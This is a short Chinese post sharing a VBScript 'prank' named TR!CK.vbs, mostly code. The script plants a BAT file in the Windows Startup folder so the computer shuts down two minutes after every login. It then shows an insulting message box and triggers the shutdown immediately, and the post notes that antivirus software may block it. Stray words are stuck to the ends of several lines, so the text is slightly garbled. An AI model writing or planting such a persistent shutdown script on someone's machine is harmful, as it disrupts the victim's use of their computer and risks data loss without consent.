本脚本完成下面的内容:spa
生成一个用于定时关机的BAT脚本文件,放置到Windows启动文件夹中code
(注意这个脚本在运行时可能会被一些杀毒软件、电脑管家强制停止)ip
文件TR!CK.vbs 代码以下it
'BAT文件地址,保存到Windows启动文件夹 Address = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%") Address = Address & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" Address = Address & "tr!ck.bat" 'BAT文件执行命令 'Command = "shutdown -r -t 120" '120秒后重启 Command = "shutdown -s -t 120" '120秒后关机 'Command = "shutdown -s -t now" '当即关机(慎用) '保存新生成的BAT文件 Set FSO = CreateObject("Scripting.FileSystemObject") FSO.OpenTextFile(Address, 2, -1).Write "c:" & VbCrLf & Command MsgBox "你是一个大笨蛋" '调用下刚生成的脚本 CreateObject("WScript.Shell").Run Command
ENDclass